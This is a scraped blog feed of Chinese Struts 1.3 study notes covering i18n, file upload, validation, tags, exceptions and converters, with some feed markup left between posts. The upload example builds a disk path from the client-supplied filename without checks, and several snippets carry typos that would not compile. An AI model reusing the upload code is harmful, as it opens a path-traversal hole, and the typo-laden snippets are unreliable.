user.login.success={0},\u767b\u5f55\u6210\u529f
user.title=\u7528\u6237\u767b\u5f55
user.name=\u7528\u6237\
user.password=\u5bc6\u7801
user.button.login=\u767b\u5f55
3 在jsp中采用<bean:message>标签读取国际化文本
<titel><bean:message key="user.title"/></title>
<bean:message key="user.name"/>:<input type="text" name="username"/>
<bean:message key="user.password"/>:<input type="password" name="password"/>
<input type="submit" value="<bean:message key="user.name"/>"/>
4 动态设置locale
Locale currentLocale=Locale.getDefalut();得到Locale
currentLocale=new Loale("zh","CN");//建立Locale
currentLocale=new Loale("en","US");//建立Locale
request.getSession().setAttribute(Globals.LOCALE_KEY,currentLocale);
this.setLocale(request,currentLocale);//效果同上
5 动态设置message
  * 创建messages集合
  ActionMessages messages=new ActionMessages();
  * 创建国际化消息文本
 public ActionMessage(String key,Object value)
 ActionMessage message=new ActionMessage("user.login.success",username);//只不清一个参数
 //ActionMessage message=new ActionMessage("user.login.success",new Object[]{username});//多个参数
 messages.add("loginSuccess1",message);
 * 传递国际化消息文本
 this.saveMessages(request,messages);
 错误信息传递使用：this.saveErrors(request,messages);
 * 页面输出
 通过<html:message>标签显示消息(可以显示普通消息和错误消息)
 通过<html:errors>标签显示消息(只能显示错误消息)
 <html:messages id="msg" message="true">//html:messages标记与ActionMessages messages集合对应
  <bean:write name="msg"/>
 <html:messages>
 <html:messages id="msg" message="true" property="loginSuccess1">
  <bean:write name="msg"/>
 <html:messages>
-------------------------------------------------------------------
JSTL国际化
<fmt:setLocale vlaue="${header['accept-language']}"/>设置locale
<fmt:setBundle basename="res.MessageResources"/>//设置资源文件
<fmt:message key="user.username"/>
---------------------------------------------------------------------
struts的路径与模式匹配


junly 2009-11-30 08:16 发表评论
]]>struts1.3-文件上传http://www.blogjava.net/ywj-316/archive/2009/11/30/304200.htmljunlyjunlyMon, 30 Nov 2009 00:16:00 GMThttp://www.blogjava.net/ywj-316/archive/2009/11/30/304200.htmlhttp://www.blogjava.net/ywj-316/comments/304200.htmlhttp://www.blogjava.net/ywj-316/archive/2009/11/30/304200.html#Feedback0http://www.blogjava.net/ywj-316/comments/commentRss/304200.htmlhttp://www.blogjava.net/ywj-316/services/trackbacks/304200.html <form action="" name="form1"  enctype="multipart/form-data" method="post">
2 建ActionForm类
private String title;
private FormFile file;//必须用apache的FormFile类(org.apache.struts.upload.FormFile)
3 建立Action类
UplodaActionForm uaf=(UplodaActionForm)form;
Systyem.out.println("title:"+uaf.getTitle());
FormFile file=uaf.getFile();
if(file!=null)
{
 System.out.println("fileName:"+file.getFileName());
 FileOutputStream fos=new FileOutputStream("c:\\"+file.getFileName());
 fos.write(file.getFileData());
 fos.flush();
 fos.close();
}
return mapping.findForward("sessucc");
4 配置ActionForm和Action
<controller MaxFileSize="10M"></controller>该属性可以配置上传文件的大小等相关信息

junly 2009-11-30 08:16 发表评论
]]>struts1.3-validatehttp://www.blogjava.net/ywj-316/archive/2009/11/30/304198.htmljunlyjunlyMon, 30 Nov 2009 00:15:00 GMThttp://www.blogjava.net/ywj-316/archive/2009/11/30/304198.htmlhttp://www.blogjava.net/ywj-316/comments/304198.htmlhttp://www.blogjava.net/ywj-316/archive/2009/11/30/304198.html#Feedback0http://www.blogjava.net/ywj-316/comments/commentRss/304198.htmlhttp://www.blogjava.net/ywj-316/services/trackbacks/304198.html 1)重写ActionForm中的validate方法
public ActionErrors validate(ActionMapping mapping,HttpServletRequest request){
 ActionErrors errors=new ActionErrors ();
  if(username==null || username.length()<0){
  errors.add("unameisnull",new ActionMessgae("error.validate.unull"));
 }
 return errors;
}
2)资源文件ApplicationResources.properties
error.validate.unull=usernaem is null
3)在config.xml的<action-mappings>中<action>加入validate="true"属性
4)页面标签
<html:errors/>
----------------------------------------------------
validate验证框架
1 创建form继承ValidatorForm或用DynaValidatorForm
2 在WEB-INF下创建validator-rules.xml和validation.xml
3 在src下创建资源文件ApplicationResources.properties
4 要struts-config.xml中配
<plug-in className="org.apache.struts.validator.ValidatorPlugIn">
    <set-property property="pathnames"
                       value="/WEB-INF/validator-rules.xml,/WEB-INF/validation.xml"/>
</plug-in>
5 编写validation.xml文件
<formset>
 <form name="userForm">
   <field property="username"  depends="required">
   <arg key="lable.username"/>
   </field>
 </form>
</formset>
6 页面使用<html:errors/>标签

junly 2009-11-30 08:15 发表评论
]]>struts1.3-标签http://www.blogjava.net/ywj-316/archive/2009/11/30/304197.htmljunlyjunlyMon, 30 Nov 2009 00:14:00 GMThttp://www.blogjava.net/ywj-316/archive/2009/11/30/304197.htmlhttp://www.blogjava.net/ywj-316/comments/304197.htmlhttp://www.blogjava.net/ywj-316/archive/2009/11/30/304197.html#Feedback0http://www.blogjava.net/ywj-316/comments/commentRss/304197.htmlhttp://www.blogjava.net/ywj-316/services/trackbacks/304197.htmlstruts标签的使用和配置
配置：
1 在struts-config.xml文件中加入(可以到示例中的struts-config.xml文件中复制)
  <message-resources parameter="MessageResources" />
2 在示例的src下拷贝MessageResources.properties文件到项目src下
3 在页面引入就可使用
  <%@ taglib prefix="bean" uri="http://struts.apache.org/tags-bean"%>
说明：第1，2步为struts的国际化资源束文件引入，第3为标签引入
-----------------------------------------------------------------------------
Bean标记
bean:define
从已有的变量或者变量的属性来定义一个新的变量。
<bean:define id="新定义的变量名" scope="原变量的scope" name="原变量名" toScope="新定义变量的scope"></bean:define>
<bean:define id="新定义的变量名" scope="原变量的scope" name="原变量名" property="原变量的属性名" toScope="新定义变量的scope"></bean:define>
bean:write
<bean:write scope="变量的scope" name="变量名" property="变量的属性名" filter="是否按html格式输出(默认true为文本输出)" format="数字(###,###.0000)日期(yyyy-MM-dd HH:mm:ss)"/>
结构数据中多重属性可用"."作导航取出来
bean:message
相当于jstl中<fmt:message>(国际化标签)
1 定义资源文件
com.itcast.ApplicationResources.properties
com.itcast.ApplicationResources_zh_CN.properties
2 在struts-config中添加：
<message-resources parameter="ApplicationResources" key="myKey" />
3 页面中使用
<bean:message bundle="myKey" key="userName"/>
<bean:message bundle="myKey" key="password"/>
bean:size标签
--------------------------------------------------------------
logic标记
logic:empty/login:notEmpty 判断对象是否为空
<logic:empty name="对象名" property="属性名" scope="对象的scope">
 为空<br>
</logic:empty>
logic:notEmpty 判断对象是否不为空
<logic:notEmpty name="对象名" property="属性名" scope="对象的scope">
 不为空<br>
</logic:notEmpty>
logic:present 判断对象是否存在(用方同上)
logic:notPresent
----------------------------------------------||
例子：
request.setAtrribute("attr1",null);
request.setAtrribute("attr2","");
request.setAtrribute("attr3",new ArrayList());
<logic:empty name="attr1">
 11<br>
</logic:empty>
<logic:notEmpty name="attr1">
 12<br>
</logic:notEmpty>
<logic:present name="attr1">
 13<br>
</logic:present>
<logic:notPresent name="attr1">
 14<br>
</logic:notPresent>

<logic:empty name="attr2">
 21<br>
</logic:empty>
<logic:notEmpty name="attr2">
 22<br>
</logic:notEmpty>
<logic:present name="attr2">
 23<br>
</logic:present>
<logic:notPresent name="attr2">
 24<br>
</logic:notPresent>

<logic:empty name="attr3">
 31<br>
</logic:empty>
<logic:notEmpty name="attr3">
 32<br>
</logic:notEmpty>
<logic:present name="attr3">
 33<br>
</logic:present>
<logic:notPresent name="attr3">
 34<br>
</logic:notPresent>
结果：
11空
14不存在

21空
23存在

31空
33存在
-----------------------------------------||
html:equal/html:notEqual
html:greaterEqual大于等于
html:greaterThan大于
html:lessEqual小于等于
html:lessThan小于
-----------------------------------------||
logic:iterate(循环)
name:对应的bean,是一个集合类型
property:对应的集合类型的属性
scope:变量的scope
id:临时变量名
offset:循环起始位置
indexId:集合中当前无素的下标
length:控制长度
单循环
<logic:iterate id="username" scope="request" name="对应的bean,是一个集合类型">
     output every username:${username }<br>
</logic:iterate>
双循环
<logic:iterate id="user" scope="request" name="list" offset="2" indexId="i">
     ${user.username }<br>
     <logic:iterate id="love" name="user" property="loves">
      ${love }
     </logic:iterate><br>
</logic:iterate><br>

logic:
tiles标记

----------------------------------------------------------------
html标签
<html:form action="/login" method="post">
username:<html:text property="username" value="123"/>
password:<html:password property="password"/>
sex:<html:radio property="sex" value="0" />男
    <html:radio property="sex" value="1" />女
likes:<html:checkbox property="0" value="0">吃饭</html:checkbox>
      <html:checkbox property="0" value="1">吃饭</html:checkbox>
xueli:<html:select property="xueli">
         <html:option value="0">小学</html:option>
         <html:option value="1">小学</html:option>
  <html:optionsCollection property="qxlist" label="qx" value="qxid"/>
  //<html:optionsCollection name="qxlist" label="qx" value="qxid"/>

         1.
      </html:select>
<html:submit value="提交"/>
</html:form>



junly 2009-11-30 08:14 发表评论
]]>struts1.3-validator验证框架http://www.blogjava.net/ywj-316/archive/2009/11/30/304196.htmljunlyjunlyMon, 30 Nov 2009 00:13:00 GMThttp://www.blogjava.net/ywj-316/archive/2009/11/30/304196.htmlhttp://www.blogjava.net/ywj-316/comments/304196.htmlhttp://www.blogjava.net/ywj-316/archive/2009/11/30/304196.html#Feedback0http://www.blogjava.net/ywj-316/comments/commentRss/304196.htmlhttp://www.blogjava.net/ywj-316/services/trackbacks/304196.html 1 配置：
    * 加入国际化配置在struts-config.xml文件中，如：
    <message-resources parameter="MessageResources"/>
    * 提供国际化资源文件
    * 引入validator插件在struts-config.xml文件中，如：
    <plug-in className="org.apache.struts.validator.ValidatorPlugIn">
      <set=property
       property="pathnames"
       value="WEB-INF/validator-rules.xml,/WEB-INF/validation.xml"
      />
    </plug-in>
    * 提供validator.xml和validator_rules.xml文件，将此文件拷贝到WEB-INF下
2 validator服务器验证
    * 配置validation.xml文件
3 validator客户验证(javascript)
    * 配置validation.xml文件
    * 在jsp页面中包含<html:javascript>
    * 对需要验证的表单定义onsubmit事件，其中事件名称为validate+ActionForm的名称，如:validateLogin

junly 2009-11-30 08:13 发表评论
]]>struts1.3-ForwardActionhttp://www.blogjava.net/ywj-316/archive/2009/11/30/304194.htmljunlyjunlyMon, 30 Nov 2009 00:12:00 GMThttp://www.blogjava.net/ywj-316/archive/2009/11/30/304194.htmlhttp://www.blogjava.net/ywj-316/comments/304194.htmlhttp://www.blogjava.net/ywj-316/archive/2009/11/30/304194.html#Feedback0http://www.blogjava.net/ywj-316/comments/commentRss/304194.htmlhttp://www.blogjava.net/ywj-316/services/trackbacks/304194.html 配置struts-config.xml即可
<action-mappings>
 <action path="/preAddStudentAction" forward="/WEB-INF/AddStudent.jsp" />
 <forward name="success" path="/login_success.jsp"/>
</action-mappings>
全局的
<global-forwards>
 <forward name="success" path="/login_success.jsp"/>
</global-forwards>
对象名为ActionFroward，运行期不能改修配置，即调用froward.setReadirect(false);
ForwardAction执行完所有内容，forward属性到转向页面就停了

junly 2009-11-30 08:12 发表评论
]]>struts1.3-plugInhttp://www.blogjava.net/ywj-316/archive/2009/11/30/304195.htmljunlyjunlyMon, 30 Nov 2009 00:12:00 GMThttp://www.blogjava.net/ywj-316/archive/2009/11/30/304195.htmlhttp://www.blogjava.net/ywj-316/comments/304195.htmlhttp://www.blogjava.net/ywj-316/archive/2009/11/30/304195.html#Feedback0http://www.blogjava.net/ywj-316/comments/commentRss/304195.htmlhttp://www.blogjava.net/ywj-316/services/trackbacks/304195.html org.apache.struts.validator.ValidatorPlugIn

junly 2009-11-30 08:12 发表评论
]]>struts1.3-exceptionhttp://www.blogjava.net/ywj-316/archive/2009/11/30/304193.htmljunlyjunlyMon, 30 Nov 2009 00:11:00 GMThttp://www.blogjava.net/ywj-316/archive/2009/11/30/304193.htmlhttp://www.blogjava.net/ywj-316/comments/304193.htmlhttp://www.blogjava.net/ywj-316/archive/2009/11/30/304193.html#Feedback0http://www.blogjava.net/ywj-316/comments/commentRss/304193.htmlhttp://www.blogjava.net/ywj-316/services/trackbacks/304193.html一 配置异常（在struts-config.xml文件中定义）,定制异常有两种:
1 全局异常(Global Exceptions)
<global-exceptions>
 <exception key="invalideUser"
 path="/Login.jsp" type="com.future.struts.MyException" />
</global-exceptions>
2 局部异常(Local Exception)
<action-mappings>
  <action attribute="loginForm" name="loginForm"
   path="/loginAction(出错转向的路径)" scope="request"
   input="/login.jsp"//异常转向的页面,同exception中的path，优先级path高于input
  />
  <exception key="invalideUser(异常信息的key)" path="/Error.jsp"
  type="cn.itcast.ItcastException(异常类全名)" />
</action-mappings>
 path:出现异常后跳转的页面
 key:异常信息的键,对应的值在资源文件当中
 type:所要处理的异常类
二 在相应的action中的execute方法中抛出异常
三 在异常处理页面(path所指的页面)使用html:errors标签打印异常信息
1 建立资源文件ApplicationResources.properties
内容:invaliduser=it is an invalid user(key/value)
2 配置struts-config.xml文件
  <message-resources parameter="cn.itcast.ApplicationResources" key="invalideuser"/>
3 使用html:errors标记打印信息
  <html:errors />
  --------------------------------------------
1 编程式异常
  * 截获异常
  * 创建相应的异常消息
  * 传递异常消息
  * 转向相应的页面处理异常
2 声明式异常(自动处理的异常)
  * 在struts-config.xml文件中配置<exeception/>标签
  * 理解局部和全局exception
  * 注意局部<exception/>标签需要配置到<forward/>标签的前面
 
  <exeception/>标签中的属性说明：
      * key:指异常信息对应的国际化消息文本，这个key值需要在国际化资源文件中定义
      * type:处理那种异常
      * path:定义一但出现异常，需要转向那个页面，如果不定义path,
             默认情况下将使用<action>标签中input属性对应的页面
      * scope:可以取值request和session,默认为request
      * handler:导常的处理类，struts默认采用org.apache.struts.action.ExceptionHandler,
                如果做个性化的异常处理可以继承此类复写相应的方法
-------------------------------------------------------------------------
个性异常类定义
一 方法:
1 定义MessageResources.propertices资源文件
2 在struts-config中配置<exception/>
  <exception key="error.exception" type="com.bjsxt.struts.ErrorCodeException"
   handler="com.bjsxt.struts.ErrorCodeException" />
3 编写异常类ErrorCodeException继承RuntimeException
public class ErrorCodeException extends RuntimeException {
 private String errorCode;//这是key对应的值
 private Object[] args;//这是参数集合
 public ErrorCodeException(String errorCode){
  this(errorCode,null);
 }
 public ErrorCodeException(String errorCode,Object args0){
  this(errorCode,new Object[]{args0});
 }
 public ErrorCodeException(String errorCode,Object[] args){
  this.errorCode=errorCode;
  this.args=args;
 }
 public String getErrorCode() {
  return errorCode;
 }
 public Object[] getArgs() {
  return args;
 }
}
4 编写ErrorCodeExceptionHandler类继承ExceptionHandler，
  复写public ActionForward execute(Exception ex, ExceptionConfig ae,
         ActionMapping mapping, ActionForm formInstance,
         HttpServletRequest request, HttpServletResponse response)
         throws ServletException{}方法：
public ActionForward execute(Exception ex, ExceptionConfig ae,
         ActionMapping mapping, ActionForm formInstance,
         HttpServletRequest request, HttpServletResponse response)
         throws ServletException {
         //添加判断
       ------------------------------------------------------------
      if(!(ex instanceof ErrorCodeException)){
       return super.execute(ex, ae, mapping, formInstance, request, response);
      }
      ------------------------------------------------------------
         ActionForward forward;
         ActionMessage error;
         String property;

         // Build the forward from the exception mapping if it exists
         // or from the form input
         if (ae.getPath() != null) {
             forward = new ActionForward(ae.getPath());
         } else {
             forward = mapping.getInputForward();
         }

         // Figure out the error
         if (ex instanceof ModuleException) {
             error = ((ModuleException) ex).getActionMessage();
             property = ((ModuleException) ex).getProperty();
         } else {
          //改修这个地方
          //----------------------------------------------
          ErrorCodeException ece=(ErrorCodeException)ex;
          String errorCode=ece.getErrorCode();
          Object[] args=ece.getArgs();
          error = new ActionMessage(errorCode, args);
          property = error.getKey();
          //------------------------------------------------
             //error = new ActionMessage(ae.getKey(), ex.getMessage());
             //property = error.getKey();
         }

         this.logException(ex);

         // Store the exception
         request.setAttribute(Globals.EXCEPTION_KEY, ex);
         this.storeException(request, property, error, forward, ae.getScope());

         if (!response.isCommitted()) {
             return forward;
         }
         return null;
     }
}
5 页面直接抛出异常
public void login(String username,String password){
  if(!"admin".equals(username)){
    throw new ErrorCodeException("user.not.found",username,age);
  }
}
---------------------------------------------------------------------
二 方法:
1 定义MessageResources.propertices资源文件
  内容:error.exception={0}
2 在struts-config中配置<exception/>
  <exception key="error.exception" type="com.bjsxt.struts.ErrorCodeException"/>
3 编写异常类ErrorCodeException继承RuntimeException
public class ErrorCodeException extends RuntimeException {
  public ErrorCodeException(String msg){
    super(msg);
  }
}
4 页面直接抛出异常
public void login(String username,String password){
  if(!"admin".equals(username)){
    throw new ErrorCodeException("名称"+usrname+"错误!");
  }
}


--------------------------------------------------------------------------
1 ApplicationResources.properties文件
   num2Meg=is not a double
2 struts-config.xml
   <message-resources parameter="ApplicationResources" />
3 ActionMessages errs=new ActionMessages();
errs.add("num1Error",new ActionMessage("num2Meg"));
//errs.add(ActionMessages.GLOBAL_MESSAGE,new ActionMessage("num2Meg"));


this.saveErrors(request,errs);

页面
<html:errors property="num1Error"/>
//<html:errors/>//全局不能指定property
errs.header="<script>alert("
errs.footer=")</script>"



junly 2009-11-30 08:11 发表评论
]]>struts1.3-Converterhttp://www.blogjava.net/ywj-316/archive/2009/11/30/304190.htmljunlyjunlyMon, 30 Nov 2009 00:10:00 GMThttp://www.blogjava.net/ywj-316/archive/2009/11/30/304190.htmlhttp://www.blogjava.net/ywj-316/comments/304190.htmlhttp://www.blogjava.net/ywj-316/archive/2009/11/30/304190.html#Feedback0http://www.blogjava.net/ywj-316/comments/commentRss/304190.htmlhttp://www.blogjava.net/ywj-316/services/trackbacks/304190.htmlConverter添加java.util.Date类型转换器
1 编写UtilDateConverter转换器类，
实现Converter接口的convert方法(com.sun.org.apache.commons.beanutils.Converter)
public class UtilDateConverter implements Converter {
 public Object convert(Class type, Object value) {
  System.out.println("UtilDateConverter.value="+value);
  if(value==null){
   return value;
  }
  if(value instanceof Date){//instanceof判断是否属于此类型
   return value;
  }
  Date d=null;
  if(value instanceof String){

   SimpleDateFormat sdf=new SimpleDateFormat("yyyy-MM-dd");
   try {
    d=sdf.parse(value.toString());
   } catch (Exception e) {
    e.printStackTrace();
   }
  }
  return d;
 }
}
2 利用servlet的init()方法注册转换器到ConvertUtils(com.sun.org.apache.commons.beanutils.ConvertUtils)
public class UtilDateConverterInitServlet extends HttpServlet {
 public void init() throws ServletException {
  System.out.println("UtilDateConverterInitServlet.init()");
  ConvertUtils.register(new UtilDateConverter(),Date.class);
 }
}
3 配置servlet,并设</load-on-startup>值
 <servlet>
    <servlet-name>UtilDateConverterInitServlet</servlet-name>
    <servlet-class>com.bjsxt.servlet.UtilDateConverterInitServlet</servlet-class>
    <load-on-startup>1</load-on-startup>
  </servlet>
  <servlet-mapping>
    <servlet-name>UtilDateConverterInitServlet</servlet-name>
    <url-pattern>/servlet/UtilDateConverterInitServlet</url-pattern>
  </servlet-mapping>
------------------------------------------------------------------------
方法二：
1 编写UtilDateConverter转换器类，
实现Converter接口的convert方法(com.sun.org.apache.commons.beanutils.Converter)
（同上）
2 编写UtilDateConverterInitWithPlugIn类实现PlugIn接口的init()方法
public class UtilDateConverterInitWithPlugIn implements PlugIn {
 public void destroy() {
 }
 public void init(ActionServlet arg0, ModuleConfig arg1)
   throws ServletException {
  System.out.println("UtilDateConverterInitServlet.init()");
  ConvertUtils.register(new UtilDateConverter(),Date.class);
 }
}
3 在struts-config.xml文件中配置<plug-in>标签
<plug-in className="com.bjsxt.servlet.UtilDateConverterInitWithPlugIn"/>



junly 2009-11-30 08:10 发表评论
]]>struts1.3-DispatchActionhttp://www.blogjava.net/ywj-316/archive/2009/11/30/304191.htmljunlyjunlyMon, 30 Nov 2009 00:10:00 GMThttp://www.blogjava.net/ywj-316/archive/2009/11/30/304191.htmlhttp://www.blogjava.net/ywj-316/comments/304191.htmlhttp://www.blogjava.net/ywj-316/archive/2009/11/30/304191.html#Feedback0http://www.blogjava.net/ywj-316/comments/commentRss/304191.htmlhttp://www.blogjava.net/ywj-316/services/trackbacks/304191.htmlDynaActionForm 配态form
1 配置动态form属性<form-property>name属性,type属性类型,primitive type必须使用包装类型。
<form-beans>
   <form-bean name="addStudentForm" type="org.apache.struts.action.DynaActionForm">
    <form-property name="sname" type="java.lang.String" initial=""(初始值)></form-property>
    <form-property name="birth" type="java.sql.Date"></form-property>
    <form-property name="major" type="java.lang.String"></form-property>
    <form-property name="score" type="java.util.float"></form-property>
   </form-bean>
</form-beans>
2 配置action标记
  <action-mappings>
   <action path="/addstudentform"
           type="com.yourcompany.struts.AddAction"
           name="addStudentForm(form的名子)">
   </action>
  </action-mappings>
3 获取页面的值：
动态ActionForm其实是把页面的html元素的名字和值放到名字和值放到map中，所以通过get方法可以取出相应的值
(1) String sname=(String)addStudentForm.get("sname");
 EL：   ${dynabean(addStudentForm).map.prop}
(2) String sname=(String)addStudentForm.get("sname");
动态ActionForm的验证，通常使用动态验证框架validator

属性名及类型一致才可以拷贝
可以通过BeanUtils.copyProperties(userbean目标对象，form源对象)方法进行对象的复制



junly 2009-11-30 08:10 发表评论
]]>struts1.3-基础及原理http://www.blogjava.net/ywj-316/archive/2009/11/29/304179.htmljunlyjunlySun, 29 Nov 2009 14:59:00 GMThttp://www.blogjava.net/ywj-316/archive/2009/11/29/304179.htmlhttp://www.blogjava.net/ywj-316/comments/304179.htmlhttp://www.blogjava.net/ywj-316/archive/2009/11/29/304179.html#Feedback0http://www.blogjava.net/ywj-316/comments/commentRss/304179.htmlhttp://www.blogjava.net/ywj-316/services/trackbacks/304179.html网站struts.apache.org
实践步骤：
1 搭建环境
  (1)导入jar包
     使用其中相关的类(可将所有jar全部导入)
  (2)建立一个配置文件：struts-config.xml
     作用：方便struts用户使用
     位置:一般放在WEB-INF下
  (3)配置web.xml
     注册struts中心控制器-----ActionServlet
  <servlet>
  <servlet-name>action</servlet-name>
  <servlet-class>org.apache.struts.action.ActionServlet</servlet-class>()Navigate下Open Type输入actionServlet复制目录
  <init-param>//读初始化文件的信息
   <param-name>config</param-name>//参数名
   <param-value>/WEB-INF/struts-config.xml</param-value>//文件名
  </init-param>
  <load-on-startup>0</load-on-startup>//服务启起就实例化，0最早
 </servlet>
 <servlet-mapping>
  <servlet-name>action</servlet-name>
  <url-pattern>*.do</url-pattern>//对所有的do请求都作处理
 </servlet-mapping>
  注意事项：
  struts配置文件的位置
  预先加载控制器
------------------------------------------------------------------
2 建立ActionForm
  (1)建一个Bean类，继承org.apache.struts.action.ActionForm
  (2)注册，修改配置文件struts-config.xml
  <form-bean>
  <form-beans>
   <form-bean name="变理名" type="类全名"/>
  </form-beans>
  意注：struts-config.xml文件中<form-beans>和<action-mappings>的顺序不能变，有DTD约束规定。
------------------------------------------------------------
3 建立Action
 (1)建立一个类，继承org.apache.struts.action.Action。重写execute方法
    需要强制转型
    LoginFrom lof=(LoginFrom)form;
    调用其它模块
    跳转(根据关键字，关键字参照该action中forward标签中的name属性)
    mapping.findForward("name属性");
 (2)注册，修改配置文件struts-config.xml
 <action>
 <action-mappings>
        <action path="指明调用者(JSP)能通过中心控制器ActionServlet找到该Action"
                type="指明该action类全名"
                name="该action引用的form的名称">
           <forward name="loginSuccess" path="index.jsp"></forward>
        </action>
    </action-mappings>
4 页面访问
<form action="<%=request.getContextPath()%>/login.do">
-------------------------------------------------------------------
Struts framework的工作原理工科

1 读敢配置 (初始化ModuleConfig对象)
Struts框架总控制器(ActionServlet)是一个Servlet,在web.xml中配置成自动启动的Servlet。
读取配置文件(struts-config.xml)的配置信息，为不同的Struts模块初始化相应的ModuleConfig
对名：ActionConfig,
      ControlConfig,
      FormBeanConfig,
      MessageResourcesConfig
2 发送请求
请求上传WEB服务器（处理.do的请求）
3 填充FORM(实例化，复位，填充数据，校验，保存)
(*.do请求)从ActionConfig中找出对应该请求的Action子类，如没有对应的Action,控制器直接转发给
JSP或静态页面。如有对应的Action且这个Action有一个相应的ActionForm.
ActionForm被实例化并用http请求的数据填充其属性，并且保存在ServletContext中(request或session中)，
这样它们就可以被其它Action对象或者JSP调用。
4 派发请求
控制器根据配置信息ActionConfig将请求派发到具体的Action,相应的FormBean一并传给这个Action的execute()方法.
5 处理业务
Action一般只包含一个execute方法,它负责执行相应的业务逻辑(调用其它业务模块).完毕返回一个ActionForward对象,
控制器通过该ActionForward对象来进行转发工作
6 返回响应
Action根据业务处理的不同结果返回一个目标响应对象给总控制器,该目标响应对象对应一个具体的JSP页面或另一Action.
7 查找响应(可以是一个Action)
8 响应用户
-----------------------------------------------------------------------------------------------------------
组件
ActionSerlet,Action Classes,Action Mapping(此处包括ActionForward),ActionForm Bean.
Struts中的MVC：
1 模型(Model):本质上来说在Struts中Model是一个商业逻辑类，开发者实现商业逻辑。
2 视图(View)：View是由与控制器Servlet配合工作的一整套JSP定制标签库构成，利用他们可以快速建立应用系统的界面。
3 控制器(Controller)，前端控制器是一个Servlet,它将客户端请求转发到相应的后端控制器Action类。
注意：官方认为ActionForm Bean应为控制层(Controller)组件，自已写的JavaBeans为模型(Model)
-----------------------------------------------------------------------------------
ActionServlet(中心控制器)
 定义：继承自javax.servlet.http.HttpServlet类，是中心控制器(总控制器)。它提供一个中心位置来处理全部的终端请求。
 作用：接受请求，填充数据，派发请求，响应用户。
 配置：在web.xml文件声明。
 例子：
 <servlet>
  <servlet-name>action</servlet-name>
  <servlet-class>org.apache.struts.action.ActionServlet</servlet-class>
  <init-param>
    <param-name>config</param-name>
    <param-value>/WEB-INF/struts-config.xml</param-value>
  </init-param>
  <load-on-startup>0</load-on-startup>
</servlet>
<servlet-mapping>
  <servlet-name>action</servlet-name>
  <url-pattern>*.do</url-pattern>
</servlet-mapping>
注意：struts-config.xml文件系统默主调用，可以不<init-param>配置
<init-param>
    <param-name>config</param-name>
    <param-value>/WEB-INF/struts-config.xml</param-value>
</init-param>
-------------------------------------------------------------------
Action
发出该action请求时初始化，不是在读取配置时，并且只初始化一次。
Action是线程不安全的，因为所有的请求共享一个别action实例。
所以：不要用实例变量或者类变是共享只是针对某个请求的数据
      注意资源操作的同步性。
应用：
统计一个action访问次数
public class CountAction extends Action {
 private Integer count=0;
 public ActionForward execute(ActionMapping mapping, ActionForm form,
   HttpServletRequest request, HttpServletResponse response)
   throws Exception {
  synchronized(count){//加锁
  count++;
  }
  PrintWriter out=response.getWriter();
  out.print("count="+count);
  return null;
 }
}

----------------------------------------------------
ActionMapping
是对struts-config.xml中action标签中所有属性的封装类。
mapping.getName()(String)
mapping.getPath()(String)
mapping.getType()(String)
String[] forwardNames=mapping.findForwards();
for(String forward:forwardNames){
 ActionForward forward=mapping.findForward(forward);
 String forwardPath=forward.getPath();
}
相应的set方法不能使用。
-----------------------------------------------------
ActionForward(导航器)
ActionForward对象是配置对象。这些配置对象拥有独一无二的标识以允许他们按照name属性来检索。
name:逻辑名称
path:页面或者模块访问路径。
redirect:默认为false.设为true时为容器外跳转,相当于response.sendRedirect();
在xml文件中的path中要写绝对路径。
--------------------------------------------------------------
ActionForm工作原理
步骤：
(1)检查Action的映射，确定Action中已经配置了对ActionForm的映射
(2)根据name属性，查找form bean中的配置信息
(3)检查Action的form bean的使用范围，确定在此范围下(request,session)，是否已经有些form bean的实例。
(4)假如当前范围下，已经存在了些form bean的实例，而是对当前请求来说，是同一种类型的话，就重用。
(5)否则，就重新构建一个form bean的实例(调用构造方法)，并且保存在一定作用范围。
(6)form bean的reset()方法被调用
   在作数据收集前被调用,是一个重置的方法.
(7)调用对应的setter方法，对状态属性赋值
(8)如果validatede的属性设置为true,就调用form bean的validate()方法。
   该方法进行表单的服务器端验证.
(9)如果validate()方法没有返回任何错误，控制器将ActionForm作为参数，传给Action实例的execute()方法并执行。
注意：直接从ActionFrom类继承的reset()和validate()方法，并不能实现什么处理功能，所以重新覆盖。

           
注意：
1 无参构造方法必须有
2 Scope缺省值是session
3 调用setter方法，实质上是对应的标准set方法
分析：
4 从过程去查看
HttpSessionAttributeListener
ServletRequestAttributeListener
5 从结果去查看
---------------------------------------------------
ActionForm
reset()方法，用于恢复属性，在重新复值前由controller调用。
valldate()方法，用于校验属性，返回ActionErrors,如果成功返回null,默认返回null.
关闭校验功能设置struts-config.xml中<action>标签的validate属性为false.
validate
----------------------------------------------------------
struts-config.xml文件中的action标签
1 attribute属性
用来存取form的关键字，缺省值与name一样,如果设了必须用该属性。
2 validate属性(action中的属性)
用来控制是否校验表单，缺省为false，false不校验。
3 input属性
当表单校验失败时将请求转发的URL(或目标模块,可以为另一个别action),结合validate属性使用，为相对路径。
在ActionForm类的validate方法中手动添加错误
public ActionErrors validate(ActionMapping mapping,HttpServletRequest request){
  ActionErrors errors=new ActionErrors();
  ActionMessage message=new ActionMessage("error");//应为键值对
  errors.add("error",message);
  return errors;
}
---------------------------------------------------------------------------
struts-config.xml文件中的<global-forwards>全局跳转标签
<global-forwards>
  <forward name="error" path="Error.jsp"/>
</global-forwards>
使用方式同action中的forwar标签



junly 2009-11-29 22:59 发表评论
]]>struts2 页面转向错误No result defined for action and result Invalidationhttp://www.blogjava.net/ywj-316/archive/2009/11/20/303071.htmljunlyjunlyFri, 20 Nov 2009 08:57:00 GMThttp://www.blogjava.net/ywj-316/archive/2009/11/20/303071.htmlhttp://www.blogjava.net/ywj-316/comments/303071.htmlhttp://www.blogjava.net/ywj-316/archive/2009/11/20/303071.html#Feedback0http://www.blogjava.net/ywj-316/comments/commentRss/303071.htmlhttp://www.blogjava.net/ywj-316/services/trackbacks/303071.htmlMessages: No result defined for action com.xxx.action.SomeAction and result input
---------------------------------------------------------------------------------------------------------------------------

症状: action中无法正常进行跳转.

原因: 验证值时验证报错.

解决办法:
1) 给 Action 加入 input 的结果;
2) 去除所有证验相关的拦截器,包括默认的validation
     调试方法:在 input 中加入调试
                      <s:fielderror/>
                      <s:debug />
                      <a href="javascript:void(0);" onclick="toggleDebug('debug');return false;">[调试信息]</a>
                      可显示下列信息:
                      Invalid field value for field "attachment". 
                      fieldErrors {attachment=[Invalid field value for field "attachment".]} 
3) Action 不再继承自 ActionSupport(里面有 ValidationAware 接口), 而转而只实现 Action 接口即可.



junly 2009-11-20 16:57 发表评论
